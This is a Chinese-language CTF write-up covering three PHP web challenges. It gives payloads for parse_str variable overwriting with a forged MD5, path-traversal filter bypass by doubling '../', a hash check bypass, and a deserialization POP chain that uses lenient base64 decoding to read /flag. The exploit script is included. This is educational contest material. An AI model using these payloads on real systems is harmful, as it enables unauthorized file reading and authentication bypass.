首页 > 其他分享 >某行业比赛部分WEB题解题思路

某行业比赛部分WEB题解题思路

时间:2022-12-07 00:56:29浏览次数:64  
标签:username WEB filepath filename 解题 result file 思路 password

login.php

源码如下:

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    include_once("flag.php");

    $data = ['username' => 'admin', 'password' => '0d4a90e58033e0415fea356308a809d'];

    parse_str($_SERVER['QUERY_STRING']);

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!isset($username) || empty($username)) {
            die('Please input username');
        }
        if (!isset($password) || empty($password)) {
            die('Please input password');
        }
        if ($username !== $data['username']) {
            die('Username ERROR');
        }
        else {
            if (md5($password) === $data['password']) {
                if(isset($_POST['file']))
                {
                    $filename = "/tmp/" . $_POST['file'];
                    getContents($filename);
                }
                else
                {
                    echo "Login Success" . "<br />";
                }
            }
            else
            {
                die('Password ERROR');
            }
        }
    }

    function getContents($filename)
    {
        $filename = str_replace("../", "", $filename);
        print_r(file_get_contents($filename));
    }

?>

$data = ['username' => 'admin', 'password' => '0d4a90e58033e0415fea356308a809d'];

这里写了账号以及密码,但是 密码无法解出来,而 parse_str($_SERVER['QUERY_STRING']);存在一个 parse_str ,就说明我们可以进行变量覆盖。将原先的用户名密码覆盖,因此我们可以改变 $data 的值。

于是我们可以构造如下flag

?username=admin&password=123456&data[username]=admin&data[password]=e10adc3949ba5
9abbe56e057f20f883e

if ($_SERVER['REQUEST_METHOD'] === 'POST')由于这条语句,所以我们使用post方法传递这个payload

显示登陆成功,继续审计代码。

    function getContents($filename)
    {
        $filename = str_replace("../", "", $filename);
        print_r(file_get_contents($filename));
    }

存在任意文件读取漏洞,$filename = str_replace("../", "", $filename);这个部分可以使用双写来进行绕过。

参考文章

two

源码:

<?php
highlight_file(__FILE__);
include("secret.php");
$username=$_GET["username"];
$password=$_GET["password"];
$sha1=$_GET["sha1"];

if (stristr($username, $rootusername)) { #stristr() 函数搜索字符串在另一字符串中的第一次出现。未找到所搜索的字符串,则返回 FALSE
	echo "nonono";
	return;
}

$password=str_replace($rootusername, "", $password); #str_replace() 函数替换字符串中的一些字符(区分大小写)。$password中有$rootusername,则替换为空

$md5=md5($username.$password.$secret);
$yoursha1=sha1($username.$password.$secret);
echo "youe sha1 is".$yoursha1;
if ($md5===md5($rootusername.$rootpassord.$secret) && $sha1===sha1($rootusername.$rootpassword.$secret) ) {
	echo $flag;
}

?>

此题应该缺少某个文件,可以获得username与password。

获得username与password后将password双写并将username后几个字符移至password前绕过获取sha1,令sha1等于该sha1获取flag。

假设username=admin ;password=123456

payload:?username=1admi&password=n123451234566获得sha1

?username=1admi&password=n123451234566&sha1=sha1获得flag

three

源码

<?php
highlight_file("index.php");
class A{
    public $files;
    public function findFile()
    {
        echo $this->files;
        if (file_exists(base64_decode($this->files->filepath)))
        {
            echo "This is a file";
        }else{
            echo "File not found";
        }
    }
    public function __destruct()
    {
        $this->findFile();
    }
}
class B{
    public $filepath;
    public function shutdown()
    {
        die("no");
    }
    public function __toString()
    {
        $result = $this->filepath;
        if (strstr($result,"L2ZsYWc") || strlen($result)>8){
            $this->shutdown();
        }
        $result = base64_decode($result);
        $content = file_get_contents($result);
        echo $content;
        return "";
    }
}

@$a = $_GET['a'];
@unserialize(base64_decode($a));

class A中的echo操作会触发toString方法,利用class B的toString方法可以读取文件,toString方法后会判断filepath参数中是否包含L2ZsYwc经过base64解码为/flag。
php对base64解码的宽容性,在其中加入特殊字符如@等,同时去掉末尾的=(满足长度要求),所以最后的控制$this->filepath为L2@ZsYWc即可绕过判断读取flag

payload:

<?php
class A
{
    public $files;
    public function __construct()
    {
        $this->files=new B();
    }
}
class B{
    public $filepath;
    public function __construct()
    {
        //此处为想要读取的文件路径
        $this->filepath = "L2@ZsYWc";
    }
}
$a = new A();
echo base64_encode(serialize($a));

将生成的参数传递给a即可得到flag。

标签:username,WEB,filepath,filename,解题,result,file,思路,password
From: https://www.cnblogs.com/CHOSEN1-Z13/p/16940691.html

相关文章

  • Web前端开发:BOM与DOM
    目录浏览器模型BOM:Broswerobjectmode一、BOM操作1.window对象(1)window简介(2)window对象的方法2.navigator对象3.screen对象4.history对象5.location对象6.弹出框二、BOM......
  • web前端开发: jQuery类库
    jQuery类库一、jQuery简介1.特点加载速度更快一款轻量级的JS框架。jQuery核心js文件才几十kb,不会影响页面加载速度。选择器更多更好用丰富的DOM选择器,jQuery的......
  • ABC280G 解题报告
    【前言】这是一道非常精彩的好题,虽然被凯文大佬嘲讽是“弱智题”,但是仍然教会了我一些东西。【题意】给定一个六边形网格,按如下方法编号:给定\(n\)个点,求有多少种非......
  • tomcat_动态java项目的目录结构与tomcat_与IDEA集成&创建web项目
    tomcat_动态java项目的目录结构静态项目和动态项目目录结构java动态项目的目录结构:--项......
  • [笔记]docker-compose启动javaweb
    1.Dockfile1准备jdk安装包启动项目jar2文件fromcentosrunmkdir/var/tmp/jdkCOPYjdk-8u321-linux-x64.tar.gz/var/tmp/jdkRUNtarxzf/var/tmp/jdk/jdk-8......
  • webShell攻击及防御
    最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。首先简单说下什么是webShell?利用文件上传,上传了非法可以执行......
  • 05.Nodejs_web开发模式
    Web开发目录目录Web开发Web开发模式服务端渲染的传统Web开发模式前后端分离的Web开发模式Session认证机制在项目中使用Session向session中存入数据:从session中获取数......
  • webflux延迟队列逻辑更改过程记录
    title:webflux延迟队列逻辑更改过程记录author:simonLeedate:2022/11/2210:26目录webflux延迟队列逻辑更改过程记录一、问题背景二、当前实现代码三、逻辑详解3......
  • 不想购买Web服务器?那就用cpolar发布网页吧
    随着互联网的快速发展,网络也成为我们生活中不可缺少的必要条件,为了能在互联网世界中有自己的一片天地,建立一个属于自己的网页就成为很多人的选择。但互联网行业作为资本密......
  • SpringBoot整合Netty+WebSocket
    SpringBoot整合Netty+WebSocket构建环境pom.xml<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w......